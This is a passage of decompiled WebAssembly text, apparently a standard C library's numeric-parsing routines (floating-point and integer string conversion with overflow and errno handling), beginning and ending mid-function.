(i32.const -4))
(i32.const 0)))
(call $f107
(i32.add
(local.get $l7)
(i32.const 768))
(i32.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l14)
(i32.const 2)))))
(call $f111
(i32.add
(local.get $l7)
(i32.const 752))
(local.get $l19)
(local.get $l20)
(i64.const 0)
(i64.const 4619810130798575616))
(call $f99
(i32.add
(local.get $l7)
(i32.const 736))
(i64.load offset=752
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 752))
(i32.const 8)))
(i64.load offset=768
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 768))
(i32.const 8))))
(local.set $l20
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 736))
(i32.const 8))))
(local.set $l19
(i64.load offset=736
(local.get $l7)))
(br_if $L61
(i32.ne
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(i32.const 4))))
(call $f106
(i32.add
(local.get $l7)
(i32.const 720))
(local.get $p5))
(call $f111
(i32.add
(local.get $l7)
(i32.const 704))
(local.get $l19)
(local.get $l20)
(i64.load offset=720
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 720))
(i32.const 8))))
(local.set $l20
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 704))
(i32.const 8))))
(local.set $l19
(i64.const 0))
(local.set $l21
(i64.load offset=704
(local.get $l7)))
(br_if $B56
(i32.le_s
(local.tee $l14
(select
(select
(local.tee $p1
(i32.sub
(local.tee $l13
(i32.add
(local.get $l16)
(i32.const 113)))
(local.get $p4)))
(i32.const 0)
(i32.gt_s
(local.get $p1)
(i32.const 0)))
(local.get $p3)
(local.tee $l8
(i32.lt_s
(local.get $p1)
(local.get $p3)))))
(i32.const 112)))
(local.set $l22
(i64.const 0))
(local.set $l23
(i64.const 0))
(local.set $l24
(i64.const 0))
(br $B53))
(local.set $l16
(i32.add
(local.get $l15)
(local.get $l16)))
(local.set $l14
(local.get $p2))
(br_if $L57
(i32.eq
(local.get $l11)
(local.get $p2))))
(local.set $l12
(i32.shr_u
(i32.const 1000000000)
(local.get $l15)))
(local.set $l17
(i32.xor
(i32.shl
(i32.const -1)
(local.get $l15))
(i32.const -1)))
(local.set $p1
(i32.const 0))
(local.set $l14
(local.get $l11))
(loop $L63
(i32.store
(local.tee $l13
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l11)
(i32.const 2))))
(local.tee $p1
(i32.add
(i32.shr_u
(local.tee $l13
(i32.load
(local.get $l13)))
(local.get $l15))
(local.get $p1))))
(local.set $l14
(select
(i32.and
(i32.add
(local.get $l14)
(i32.const 1))
(i32.const 2047))
(local.get $l14)
(local.tee $p1
(i32.and
(i32.eq
(local.get $l11)
(local.get $l14))
(i32.eqz
(local.get $p1))))))
(local.set $l8
(select
(i32.add
(local.get $l8)
(i32.const -9))
(local.get $l8)
(local.get $p1)))
(local.set $p1
(i32.mul
(i32.and
(local.get $l13)
(local.get $l17))
(local.get $l12)))
(br_if $L63
(i32.ne
(local.tee $l11
(i32.and
(i32.add
(local.get $l11)
(i32.const 1))
(i32.const 2047)))
(local.get $p2))))
(br_if $L55
(i32.eqz
(local.get $p1)))
(block $B64
(br_if $B64
(i32.eq
(local.get $l18)
(local.get $l14)))
(i32.store
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $p2)
(i32.const 2)))
(local.get $p1))
(local.set $p2
(local.get $l18))
(br $L54))
(i32.store
(local.get $p6)
(i32.or
(i32.load
(local.get $p6))
(i32.const 1)))
(br $L55))))
(call $f104
(i32.add
(local.get $l7)
(i32.const 656))
(call $f69
(f64.const 0x1p+0 (;=1;))
(i32.sub
(i32.const 225)
(local.get $l14))))
(call $f70
(i32.add
(local.get $l7)
(i32.const 688))
(i64.load offset=656
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 656))
(i32.const 8)))
(local.get $l21)
(local.get $l20))
(local.set $l24
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 688))
(i32.const 8))))
(local.set $l23
(i64.load offset=688
(local.get $l7)))
(call $f104
(i32.add
(local.get $l7)
(i32.const 640))
(call $f69
(f64.const 0x1p+0 (;=1;))
(i32.sub
(i32.const 113)
(local.get $l14))))
(call $f73
(i32.add
(local.get $l7)
(i32.const 672))
(local.get $l21)
(local.get $l20)
(i64.load offset=640
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 640))
(i32.const 8))))
(call $f113
(i32.add
(local.get $l7)
(i32.const 624))
(local.get $l21)
(local.get $l20)
(local.tee $l19
(i64.load offset=672
(local.get $l7)))
(local.tee $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 672))
(i32.const 8)))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 608))
(local.get $l23)
(local.get $l24)
(i64.load offset=624
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 624))
(i32.const 8))))
(local.set $l20
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 608))
(i32.const 8))))
(local.set $l21
(i64.load offset=608
(local.get $l7))))
(block $B65
(br_if $B65
(i32.eq
(local.tee $l15
(i32.and
(i32.add
(local.get $l11)
(i32.const 4))
(i32.const 2047)))
(local.get $p2)))
(block $B66
(block $B67
(br_if $B67
(i32.gt_u
(local.tee $l15
(i32.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l15)
(i32.const 2)))))
(i32.const 499999999)))
(block $B68
(br_if $B68
(local.get $l15))
(br_if $B66
(i32.eq
(i32.and
(i32.add
(local.get $l11)
(i32.const 5))
(i32.const 2047))
(local.get $p2))))
(call $f104
(i32.add
(local.get $l7)
(i32.const 496))
(f64.mul
(f64.convert_i32_s
(local.get $p5))
(f64.const 0x1p-2 (;=0.25;))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 480))
(local.get $l19)
(local.get $l22)
(i64.load offset=496
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 496))
(i32.const 8))))
(local.set $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 480))
(i32.const 8))))
(local.set $l19
(i64.load offset=480
(local.get $l7)))
(br $B66))
(block $B69
(br_if $B69
(i32.eq
(local.get $l15)
(i32.const 500000000)))
(call $f104
(i32.add
(local.get $l7)
(i32.const 592))
(f64.mul
(f64.convert_i32_s
(local.get $p5))
(f64.const 0x1.8p-1 (;=0.75;))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 576))
(local.get $l19)
(local.get $l22)
(i64.load offset=592
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 592))
(i32.const 8))))
(local.set $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 576))
(i32.const 8))))
(local.set $l19
(i64.load offset=576
(local.get $l7)))
(br $B66))
(local.set $l25
(f64.convert_i32_s
(local.get $p5)))
(block $B70
(br_if $B70
(i32.ne
(i32.and
(i32.add
(local.get $l11)
(i32.const 5))
(i32.const 2047))
(local.get $p2)))
(call $f104
(i32.add
(local.get $l7)
(i32.const 528))
(f64.mul
(local.get $l25)
(f64.const 0x1p-1 (;=0.5;))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 512))
(local.get $l19)
(local.get $l22)
(i64.load offset=528
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 528))
(i32.const 8))))
(local.set $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 512))
(i32.const 8))))
(local.set $l19
(i64.load offset=512
(local.get $l7)))
(br $B66))
(call $f104
(i32.add
(local.get $l7)
(i32.const 560))
(f64.mul
(local.get $l25)
(f64.const 0x1.8p-1 (;=0.75;))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 544))
(local.get $l19)
(local.get $l22)
(i64.load offset=560
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 560))
(i32.const 8))))
(local.set $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 544))
(i32.const 8))))
(local.set $l19
(i64.load offset=544
(local.get $l7))))
(br_if $B65
(i32.gt_s
(local.get $l14)
(i32.const 111)))
(call $f73
(i32.add
(local.get $l7)
(i32.const 464))
(local.get $l19)
(local.get $l22)
(i64.const 0)
(i64.const 4611404543450677248))
(br_if $B65
(call $f101
(i64.load offset=464
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 464))
(i32.const 8)))
(i64.const 0)
(i64.const 0)))
(call $f99
(i32.add
(local.get $l7)
(i32.const 448))
(local.get $l19)
(local.get $l22)
(i64.const 0)
(i64.const 4611404543450677248))
(local.set $l22
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 448))
(i32.const 8))))
(local.set $l19
(i64.load offset=448
(local.get $l7))))
(call $f99
(i32.add
(local.get $l7)
(i32.const 432))
(local.get $l21)
(local.get $l20)
(local.get $l19)
(local.get $l22))
(call $f113
(i32.add
(local.get $l7)
(i32.const 416))
(i64.load offset=432
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 432))
(i32.const 8)))
(local.get $l23)
(local.get $l24))
(local.set $l20
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 416))
(i32.const 8))))
(local.set $l21
(i64.load offset=416
(local.get $l7)))
(block $B71
(br_if $B71
(i32.le_s
(i32.and
(local.get $l13)
(i32.const 2147483647))
(i32.sub
(i32.const -2)
(local.get $l9))))
(call $f74
(i32.add
(local.get $l7)
(i32.const 400))
(local.get $l21)
(local.get $l20))
(call $f111
(i32.add
(local.get $l7)
(i32.const 384))
(local.get $l21)
(local.get $l20)
(i64.const 0)
(i64.const 4611123068473966592))
(local.set $p2
(call $f102
(local.tee $l23
(i64.load offset=400
(local.get $l7)))
(local.tee $l24
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 400))
(i32.const 8))))
(i64.const 0)
(i64.const 4643211215818981376)))
(local.set $l20
(select
(local.get $l20)
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 384))
(i32.const 8)))
(local.tee $l13
(i32.lt_s
(local.get $p2)
(i32.const 0)))))
(local.set $l21
(select
(local.get $l21)
(i64.load offset=384
(local.get $l7))
(local.get $l13)))
(block $B72
(br_if $B72
(i32.gt_s
(i32.add
(local.tee $l16
(i32.add
(local.get $l16)
(i32.gt_s
(local.get $p2)
(i32.const -1))))
(i32.const 110))
(local.get $l10)))
(br_if $B71
(i32.ne
(select
(local.get $l8)
(i32.and
(local.get $l8)
(i32.ne
(local.get $l14)
(local.get $p1)))
(i32.lt_s
(call $f102
(local.get $l23)
(local.get $l24)
(i64.const 0)
(i64.const 4643211215818981376))
(i32.const 0)))
(i32.const 1)))
(br_if $B71
(i32.eqz
(call $f101
(local.get $l19)
(local.get $l22)
(i64.const 0)
(i64.const 0)))))
(i32.store
(call $__errno_location)
(i32.const 68)))
(call $f71
(i32.add
(local.get $l7)
(i32.const 368))
(local.get $l21)
(local.get $l20)
(local.get $l16))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 368))
(i32.const 8))))
(local.set $l20
(i64.load offset=368
(local.get $l7))))
(i64.store offset=8
(local.get $p0)
(local.get $l19))
(i64.store
(local.get $p0)
(local.get $l20))
(global.set $g0
(i32.add
(local.get $l7)
(i32.const 8976))))
(func $f78 (type $t28) (param $p0 i32) (param $p1 i32) (result i64)
(local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i64)
(block $B0
(block $B1
(br_if $B1
(i32.eq
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l3
(i32.load8_u
(local.get $l2)))
(br $B0))
(local.set $l3
(call $f68
(local.get $p0))))
(block $B2
(block $B3
(block $B4
(block $B5
(block $B6
(br_table $B6 $B5 $B6 $B5
(i32.add
(local.get $l3)
(i32.const -43))))
(block $B7
(block $B8
(br_if $B8
(i32.eq
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l2
(i32.load8_u
(local.get $l2)))
(br $B7))
(local.set $l2
(call $f68
(local.get $p0))))
(local.set $l4
(i32.eq
(local.get $l3)
(i32.const 45)))
(local.set $l5
(i32.add
(local.get $l2)
(i32.const -58)))
(br_if $B4
(i32.eqz
(local.get $p1)))
(br_if $B4
(i32.gt_u
(local.get $l5)
(i32.const -11)))
(br_if $B3
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1)))
(br $B3))
(local.set $l5
(i32.add
(local.get $l3)
(i32.const -58)))
(local.set $l4
(i32.const 0))
(local.set $l2
(local.get $l3)))
(br_if $B3
(i32.lt_u
(local.get $l5)
(i32.const -10)))
(local.set $l6
(i64.const 0))
(block $B9
(br_if $B9
(i32.ge_u
(local.tee $l5
(i32.add
(local.get $l2)
(i32.const -48)))
(i32.const 10)))
(local.set $l3
(i32.const 0))
(loop $L10
(local.set $l3
(i32.add
(local.get $l2)
(i32.mul
(local.get $l3)
(i32.const 10))))
(block $B11
(block $B12
(br_if $B12
(i32.eq
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l2
(i32.load8_u
(local.get $l2)))
(br $B11))
(local.set $l2
(call $f68
(local.get $p0))))
(local.set $l3
(i32.add
(local.get $l3)
(i32.const -48)))
(block $B13
(br_if $B13
(i32.gt_u
(local.tee $l5
(i32.add
(local.get $l2)
(i32.const -48)))
(i32.const 9)))
(br_if $L10
(i32.lt_s
(local.get $l3)
(i32.const 214748364)))))
(local.set $l6
(i64.extend_i32_s
(local.get $l3))))
(block $B14
(br_if $B14
(i32.ge_u
(local.get $l5)
(i32.const 10)))
(loop $L15
(local.set $l6
(i64.add
(i64.extend_i32_u
(local.get $l2))
(i64.mul
(local.get $l6)
(i64.const 10))))
(block $B16
(block $B17
(br_if $B17
(i32.eq
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l2
(i32.load8_u
(local.get $l2)))
(br $B16))
(local.set $l2
(call $f68
(local.get $p0))))
(local.set $l6
(i64.add
(local.get $l6)
(i64.const -48)))
(br_if $B14
(i32.gt_u
(local.tee $l5
(i32.add
(local.get $l2)
(i32.const -48)))
(i32.const 9)))
(br_if $L15
(i64.lt_s
(local.get $l6)
(i64.const 92233720368547758)))))
(block $B18
(br_if $B18
(i32.ge_u
(local.get $l5)
(i32.const 10)))
(loop $L19
(block $B20
(block $B21
(br_if $B21
(i32.eq
(local.tee $l2
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l2
(i32.load8_u
(local.get $l2)))
(br $B20))
(local.set $l2
(call $f68
(local.get $p0))))
(br_if $L19
(i32.lt_u
(i32.add
(local.get $l2)
(i32.const -48))
(i32.const 10)))))
(block $B22
(br_if $B22
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1))))
(local.set $l6
(select
(i64.sub
(i64.const 0)
(local.get $l6))
(local.get $l6)
(local.get $l4)))
(br $B2))
(local.set $l6
(i64.const -9223372036854775808))
(br_if $B2
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1)))
(return
(i64.const -9223372036854775808)))
(local.get $l6))
(func $f79 (type $t29) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i64) (result i64)
(local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i64) (local $l10 i64) (local $l11 i64) (local $l12 i64)
(global.set $g0
(local.tee $l4
(i32.sub
(global.get $g0)
(i32.const 16))))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i32.gt_u
(local.get $p1)
(i32.const 36)))
(br_if $B1
(i32.ne
(local.get $p1)
(i32.const 1))))
(i32.store
(call $__errno_location)
(i32.const 28))
(local.set $p3
(i64.const 0))
(br $B0))
(loop $L3
(block $B4
(block $B5
(br_if $B5
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B4))
(local.set $l5
(call $f68
(local.get $p0))))
(br_if $L3
(call $f65
(local.get $l5))))
(local.set $l6
(i32.const 0))
(block $B6
(block $B7
(br_table $B7 $B6 $B7 $B6
(i32.add
(local.get $l5)
(i32.const -43))))
(local.set $l6
(select
(i32.const -1)
(i32.const 0)
(i32.eq
(local.get $l5)
(i32.const 45))))
(block $B8
(br_if $B8
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B6))
(local.set $l5
(call $f68
(local.get $p0))))
(block $B9
(block $B10
(block $B11
(block $B12
(block $B13
(br_if $B13
(i32.and
(local.get $p1)
(i32.const -17)))
(br_if $B13
(i32.ne
(local.get $l5)
(i32.const 48)))
(block $B14
(block $B15
(br_if $B15
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B14))
(local.set $l5
(call $f68
(local.get $p0))))
(block $B16
(br_if $B16
(i32.ne
(i32.and
(local.get $l5)
(i32.const -33))
(i32.const 88)))
(block $B17
(block $B18
(br_if $B18
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B17))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $p1
(i32.const 16))
(br_if $B11
(i32.lt_u
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129)))
(i32.const 16)))
(local.set $p3
(i64.const 0))
(block $B19
(block $B20
(br_if $B20
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.const -1)))
(br_if $B19
(i32.eqz
(local.get $p2)))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const -2)))
(br $B0))
(br_if $B0
(local.get $p2)))
(local.set $p3
(i64.const 0))
(call $f67
(local.get $p0)
(i64.const 0))
(br $B0))
(br_if $B12
(local.get $p1))
(local.set $p1
(i32.const 8))
(br $B11))
(br_if $B12
(i32.gt_u
(local.tee $p1
(select
(local.get $p1)
(i32.const 10)
(local.get $p1)))
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129)))))
(local.set $p3
(i64.const 0))
(block $B21
(br_if $B21
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1))))
(call $f67
(local.get $p0)
(i64.const 0))
(i32.store
(call $__errno_location)
(i32.const 28))
(br $B0))
(br_if $B11
(i32.ne
(local.get $p1)
(i32.const 10)))
(local.set $l9
(i64.const 0))
(block $B22
(br_if $B22
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $l5)
(i32.const -48)))
(i32.const 9)))
(local.set $p1
(i32.const 0))
(loop $L23
(local.set $p1
(i32.mul
(local.get $p1)
(i32.const 10)))
(block $B24
(block $B25
(br_if $B25
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B24))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $p1
(i32.add
(local.get $p1)
(local.get $p2)))
(block $B26
(br_if $B26
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $l5)
(i32.const -48)))
(i32.const 9)))
(br_if $L23
(i32.lt_u
(local.get $p1)
(i32.const 429496729)))))
(local.set $l9
(i64.extend_i32_u
(local.get $p1))))
(block $B27
(br_if $B27
(i32.gt_u
(local.get $p2)
(i32.const 9)))
(local.set $l10
(i64.mul
(local.get $l9)
(i64.const 10)))
(local.set $l11
(i64.extend_i32_u
(local.get $p2)))
(loop $L28
(block $B29
(block $B30
(br_if $B30
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B29))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $l9
(i64.add
(local.get $l10)
(local.get $l11)))
(br_if $B27
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $l5)
(i32.const -48)))
(i32.const 9)))
(br_if $B27
(i64.ge_u
(local.get $l9)
(i64.const 1844674407370955162)))
(br_if $L28
(i64.le_u
(local.tee $l10
(i64.mul
(local.get $l9)
(i64.const 10)))
(i64.xor
(local.tee $l11
(i64.extend_i32_u
(local.get $p2)))
(i64.const -1)))))
(local.set $p1
(i32.const 10))
(br $B10))
(local.set $p1
(i32.const 10))
(br_if $B10
(i32.le_u
(local.get $p2)
(i32.const 9)))
(br $B9))
(block $B31
(br_if $B31
(i32.eqz
(i32.and
(local.get $p1)
(i32.add
(local.get $p1)
(i32.const -1)))))
(local.set $l9
(i64.const 0))
(block $B32
(br_if $B32
(i32.le_u
(local.get $p1)
(local.tee $l7
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(local.set $p2
(i32.const 0))
(loop $L33
(local.set $p2
(i32.mul
(local.get $p2)
(local.get $p1)))
(block $B34
(block $B35
(br_if $B35
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B34))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $p2
(i32.add
(local.get $l7)
(local.get $p2)))
(block $B36
(br_if $B36
(i32.le_u
(local.get $p1)
(local.tee $l7
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(br_if $L33
(i32.lt_u
(local.get $p2)
(i32.const 119304647)))))
(local.set $l9
(i64.extend_i32_u
(local.get $p2))))
(br_if $B10
(i32.le_u
(local.get $p1)
(local.get $l7)))
(local.set $l10
(i64.extend_i32_u
(local.get $p1)))
(loop $L37
(br_if $B10
(i64.gt_u
(local.tee $l11
(i64.mul
(local.get $l9)
(local.get $l10)))
(i64.xor
(local.tee $l12
(i64.and
(i64.extend_i32_u
(local.get $l7))
(i64.const 255)))
(i64.const -1))))
(block $B38
(block $B39
(br_if $B39
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B38))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $l9
(i64.add
(local.get $l11)
(local.get $l12)))
(br_if $B10
(i32.le_u
(local.get $p1)
(local.tee $l7
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(call $f112
(local.get $l4)
(local.get $l10)
(i64.const 0)
(local.get $l9)
(i64.const 0))
(br_if $B10
(i64.ne
(i64.load offset=8
(local.get $l4))
(i64.const 0)))
(br $L37))
(unreachable))
(local.set $l8
(i32.load8_s
(i32.add
(i32.and
(i32.shr_u
(i32.mul
(local.get $p1)
(i32.const 23))
(i32.const 5))
(i32.const 7))
(i32.const 2385))))
(local.set $l9
(i64.const 0))
(block $B40
(br_if $B40
(i32.le_u
(local.get $p1)
(local.tee $p2
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(local.set $l7
(i32.const 0))
(loop $L41
(local.set $l7
(i32.shl
(local.get $l7)
(local.get $l8)))
(block $B42
(block $B43
(br_if $B43
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B42))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $l7
(i32.or
(local.get $p2)
(local.get $l7)))
(block $B44
(br_if $B44
(i32.le_u
(local.get $p1)
(local.tee $p2
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(br_if $L41
(i32.lt_u
(local.get $l7)
(i32.const 134217728)))))
(local.set $l9
(i64.extend_i32_u
(local.get $l7))))
(br_if $B10
(i32.le_u
(local.get $p1)
(local.get $p2)))
(br_if $B10
(i64.lt_u
(local.tee $l12
(i64.shr_u
(i64.const -1)
(local.tee $l11
(i64.extend_i32_u
(local.get $l8)))))
(local.get $l9)))
(loop $L45
(local.set $l9
(i64.shl
(local.get $l9)
(local.get $l11)))
(local.set $l10
(i64.and
(i64.extend_i32_u
(local.get $p2))
(i64.const 255)))
(block $B46
(block $B47
(br_if $B47
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B46))
(local.set $l5
(call $f68
(local.get $p0))))
(local.set $l9
(i64.or
(local.get $l9)
(local.get $l10)))
(br_if $B10
(i32.le_u
(local.get $p1)
(local.tee $p2
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(br_if $L45
(i64.le_u
(local.get $l9)
(local.get $l12)))))
(br_if $B9
(i32.le_u
(local.get $p1)
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129)))))
(loop $L48
(block $B49
(block $B50
(br_if $B50
(i32.eq
(local.tee $l5
(i32.load offset=4
(local.get $p0)))
(i32.load offset=104
(local.get $p0))))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l5)
(i32.const 1)))
(local.set $l5
(i32.load8_u
(local.get $l5)))
(br $B49))
(local.set $l5
(call $f68
(local.get $p0))))
(br_if $L48
(i32.gt_u
(local.get $p1)
(i32.load8_u
(i32.add
(local.get $l5)
(i32.const 2129))))))
(i32.store
(call $__errno_location)
(i32.const 68))
(local.set $l6
(select
(local.get $l6)
(i32.const 0)
(i64.eqz
(i64.and
(local.get $p3)
(i64.const 1)))))
(local.set $l9
(local.get $p3)))
(block $B51
(br_if $B51
(i64.lt_s
(i64.load offset=112
(local.get $p0))
(i64.const 0)))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(i32.const -1))))
(block $B52
(br_if $B52
(i64.lt_u
(local.get $l9)
(local.get $p3)))
(block $B53
(br_if $B53
(i32.and
(i32.wrap_i64
(local.get $p3))
(i32.const 1)))
(br_if $B53
(local.get $l6))
(i32.store
(call $__errno_location)
(i32.const 68))
(local.set $p3
(i64.add
(local.get $p3)
(i64.const -1)))
(br $B0))
(br_if $B52
(i64.le_u
(local.get $l9)
(local.get $p3)))
(i32.store
(call $__errno_location)
(i32.const 68))
(br $B0))
(local.set $p3
(i64.sub
(i64.xor
(local.get $l9)
(local.tee $p3
(i64.extend_i32_s
(local.get $l6))))
(local.get $p3))))
(global.set $g0
(i32.add
(local.get $l4)
(i32.const 16)))
(local.get $p3))
(func $f80 (type $t2) (result i32)
(i32.const 42))
(func $f81 (type $t2) (result i32)
(call $f80))
(func $f82 (type $t2) (result i32)
(i32.const 5256))
(func $f83 (type $t3)
(i32.store offset=5344
(i32.const 0)
(i32.const 5224))
(i32.store offset=5272
(i32.const 0)
(call $f81)))
(func $f84 (type $t8) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (result i32)
(local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32)
(global.set $g0
(local.tee $l4
(i32.sub
(global.get $g0)
(i32.const 16))))
(local.set $p3
(i32.load
(local.tee $l5
(select
(local.get $p3)
(i32.const 5368)
(local.get $p3)))))
(block $B0
(block $B1
(block $B2
(block $B3
(br_if $B3
(local.get $p1))
(br_if $B2
(local.get $p3))
(local.set $l6
(i32.const 0))
(br $B0))
(local.set $l6
(i32.const -2))
(br_if $B0
(i32.eqz
(local.get $p2)))
(local.set $l7
(select
(local.get $p0)
(i32.add
